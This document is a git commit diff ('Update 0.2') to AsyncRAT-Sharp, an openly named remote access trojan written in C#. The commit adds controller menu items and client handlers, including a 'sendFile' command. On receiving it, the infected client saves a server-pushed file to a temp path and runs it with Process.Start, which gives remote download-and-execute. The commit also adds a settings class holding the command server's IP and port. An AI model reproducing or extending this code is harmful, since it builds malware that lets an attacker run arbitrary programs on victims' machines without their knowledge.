Update 0.2

This commit is contained in:
NYAN CAT 2019-01-26 02:52:06 -08:00
parent aced7075c3
commit 8341990c59
7 changed files with 112 additions and 20 deletions

View File

@ -35,6 +35,8 @@
this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components); this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.sendMessageToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sendMessageToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.sendFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.closeConnectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.statusStrip1 = new System.Windows.Forms.StatusStrip(); this.statusStrip1 = new System.Windows.Forms.StatusStrip();
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
this.ping = new System.Windows.Forms.Timer(this.components); this.ping = new System.Windows.Forms.Timer(this.components);
@ -81,17 +83,33 @@
// //
this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.sendMessageToolStripMenuItem}); this.sendMessageToolStripMenuItem,
this.sendFileToolStripMenuItem,
this.closeConnectionToolStripMenuItem});
this.contextMenuStrip1.Name = "contextMenuStrip1"; this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new System.Drawing.Size(200, 34); this.contextMenuStrip1.Size = new System.Drawing.Size(223, 94);
// //
// sendMessageToolStripMenuItem // sendMessageToolStripMenuItem
// //
this.sendMessageToolStripMenuItem.Name = "sendMessageToolStripMenuItem"; this.sendMessageToolStripMenuItem.Name = "sendMessageToolStripMenuItem";
this.sendMessageToolStripMenuItem.Size = new System.Drawing.Size(199, 30); this.sendMessageToolStripMenuItem.Size = new System.Drawing.Size(222, 30);
this.sendMessageToolStripMenuItem.Text = "Send Message"; this.sendMessageToolStripMenuItem.Text = "Send Message";
this.sendMessageToolStripMenuItem.Click += new System.EventHandler(this.sendMessageToolStripMenuItem_Click); this.sendMessageToolStripMenuItem.Click += new System.EventHandler(this.sendMessageToolStripMenuItem_Click);
// //
// sendFileToolStripMenuItem
//
this.sendFileToolStripMenuItem.Name = "sendFileToolStripMenuItem";
this.sendFileToolStripMenuItem.Size = new System.Drawing.Size(222, 30);
this.sendFileToolStripMenuItem.Text = "Send File";
this.sendFileToolStripMenuItem.Click += new System.EventHandler(this.sendFileToolStripMenuItem_Click);
//
// closeConnectionToolStripMenuItem
//
this.closeConnectionToolStripMenuItem.Name = "closeConnectionToolStripMenuItem";
this.closeConnectionToolStripMenuItem.Size = new System.Drawing.Size(222, 30);
this.closeConnectionToolStripMenuItem.Text = "Close Connection";
this.closeConnectionToolStripMenuItem.Click += new System.EventHandler(this.closeConnectionToolStripMenuItem_Click);
//
// statusStrip1 // statusStrip1
// //
this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
@ -123,6 +141,7 @@
this.Controls.Add(this.listView1); this.Controls.Add(this.listView1);
this.Controls.Add(this.statusStrip1); this.Controls.Add(this.statusStrip1);
this.Name = "Form1"; this.Name = "Form1";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "AsyncRAT-Sharp // NYAN CAT"; this.Text = "AsyncRAT-Sharp // NYAN CAT";
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Form1_FormClosed); this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Form1_FormClosed);
this.Load += new System.EventHandler(this.Form1_Load); this.Load += new System.EventHandler(this.Form1_Load);
@ -145,6 +164,8 @@
private System.Windows.Forms.StatusStrip statusStrip1; private System.Windows.Forms.StatusStrip statusStrip1;
private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel1; private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel1;
private System.Windows.Forms.Timer ping; private System.Windows.Forms.Timer ping;
private System.Windows.Forms.ToolStripMenuItem sendFileToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem closeConnectionToolStripMenuItem;
} }
} }

View File

@ -7,6 +7,7 @@ using Microsoft.VisualBasic;
using System.Linq; using System.Linq;
using System.Threading; using System.Threading;
using System.Drawing; using System.Drawing;
using System.IO;
// │ Author : NYAN CAT // │ Author : NYAN CAT
// │ Name : AsyncRAT // Simple Socket // │ Name : AsyncRAT // Simple Socket
@ -29,7 +30,7 @@ namespace AsyncRAT_Sharp
Listener listener = new Listener(); Listener listener = new Listener();
Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect)); Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
thread.Start(Settings.Port); thread.Start(Settings.Port);
this.Text = string.Format("AsyncRAT-Sharp {0} // NYAN CAT", Settings.Version);
while (true) while (true)
{ {
await Task.Delay(1000); await Task.Delay(1000);
@ -47,7 +48,7 @@ namespace AsyncRAT_Sharp
else else
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "MessageBox"; msgpack.ForcePathObject("Packet").AsString = "sendMessage";
msgpack.ForcePathObject("Message").AsString = URL; msgpack.ForcePathObject("Message").AsString = URL;
foreach (ListViewItem C in listView1.SelectedItems) foreach (ListViewItem C in listView1.SelectedItems)
{ {
@ -60,6 +61,49 @@ namespace AsyncRAT_Sharp
} }
} }
private void sendFileToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
try
{
OpenFileDialog O = new OpenFileDialog();
if (O.ShowDialog() == DialogResult.OK)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "sendFile";
msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
foreach (ListViewItem C in listView1.SelectedItems)
{
Clients CL = (Clients)C.Tag;
CL.LV.ForeColor = Color.Red;
CL.BeginSend(msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Empty;
}
}
}
catch { }
}
}
private void closeConnectionToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "closeConnection";
foreach (ListViewItem C in listView1.SelectedItems)
{
Clients CL = (Clients)C.Tag;
CL.LV.ForeColor = Color.Red;
CL.BeginSend(msgpack.Encode2Bytes());
CL.LV.ForeColor = Color.Empty;
}
}
}
private void ping_Tick(object sender, EventArgs e) private void ping_Tick(object sender, EventArgs e)
{ {
if (Settings.Online.Count > 0) if (Settings.Online.Count > 0)
@ -100,5 +144,7 @@ namespace AsyncRAT_Sharp
listView1.Items[hitInfo.Item.Index].Selected = true; listView1.Items[hitInfo.Item.Index].Selected = true;
} }
} }
} }
} }

View File

@ -7,5 +7,6 @@ namespace AsyncRAT_Sharp
{ {
public static List<Clients> Online = new List<Clients>(); public static List<Clients> Online = new List<Clients>();
public static int Port = 8080; public static int Port = 8080;
public static string Version = "0.2";
} }
} }

View File

@ -12,13 +12,13 @@ namespace AsyncRAT_Sharp.Sockets
class Clients class Clients
{ {
public Socket Client { get; set; } public Socket Client { get; set; }
public byte[] Buffer { get; set; } private byte[] Buffer { get; set; }
public long Buffersize { get; set; } private long Buffersize { get; set; }
public bool BufferRecevied { get; set; } private bool BufferRecevied { get; set; }
public MemoryStream MS { get; set; } private MemoryStream MS { get; set; }
public ListViewItem LV { get; set; } public ListViewItem LV { get; set; }
public event ReadEventHandler Read; private event ReadEventHandler Read;
public delegate void ReadEventHandler(Clients client, byte[] data); private delegate void ReadEventHandler(Clients client, byte[] data);
public Clients(Socket CLIENT) public Clients(Socket CLIENT)
{ {
@ -135,7 +135,6 @@ namespace AsyncRAT_Sharp.Sockets
} }
catch (Exception ex) catch (Exception ex)
{ {
Debug.WriteLine("BeginSend " + ex.Message);
Disconnected(); Disconnected();
} }
} }
@ -149,7 +148,6 @@ namespace AsyncRAT_Sharp.Sockets
} }
catch (Exception ex) catch (Exception ex)
{ {
Debug.WriteLine("EndSend " + ex.Message);
Disconnected(); Disconnected();
} }
} }

View File

@ -9,8 +9,8 @@ namespace AsyncRAT_Sharp.Sockets
{ {
class Listener class Listener
{ {
public Socket listener { get; set; } private Socket listener { get; set; }
public static ManualResetEvent allDone = new ManualResetEvent(false); private static ManualResetEvent allDone = new ManualResetEvent(false);
public void Connect(object port) public void Connect(object port)
{ {
@ -39,7 +39,7 @@ namespace AsyncRAT_Sharp.Sockets
} }
} }
public void EndAccept(IAsyncResult ar) private void EndAccept(IAsyncResult ar)
{ {
try try
{ {

View File

@ -19,6 +19,13 @@ using System.Windows.Forms;
namespace Client namespace Client
{ {
class Settings
{
public static string IP = "127.0.0.1";
public static int Port = 8080;
public static string Version = "0.2";
}
class Program class Program
{ {
public static Socket client { get; set; } public static Socket client { get; set; }
@ -46,7 +53,7 @@ namespace Client
client.SendBufferSize = 50 * 1024; client.SendBufferSize = 50 * 1024;
client.ReceiveTimeout = -1; client.ReceiveTimeout = -1;
client.SendTimeout = -1; client.SendTimeout = -1;
client.Connect("127.0.0.1", 8080); client.Connect(Settings.IP, Settings.Port);
Debug.WriteLine("Connected!"); Debug.WriteLine("Connected!");
Buffer = new byte[1]; Buffer = new byte[1];
Buffersize = 0; Buffersize = 0;
@ -163,7 +170,7 @@ namespace Client
unpack_msgpack.DecodeFromBytes((byte[])Data); unpack_msgpack.DecodeFromBytes((byte[])Data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString) switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{ {
case "MessageBox": case "sendMessage":
{ {
MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString); MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString);
} }
@ -174,6 +181,25 @@ namespace Client
Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString); Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
} }
break; break;
case "sendFile":
{
string FullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString;
unpack_msgpack.ForcePathObject("File").SaveBytesToFile(FullPath);
Process.Start(FullPath);
}
break;
case "closeConnection":
{
try
{
client.Shutdown(SocketShutdown.Both);
}
catch { }
Environment.Exit(0);
}
break;
} }
} }

View File

@ -1,4 +1,4 @@
<img src="https://i.imgur.com/TSxnxwP.gif"> <img src="https://i.imgur.com/vD36k8e.gif">
# AsyncRAT # AsyncRAT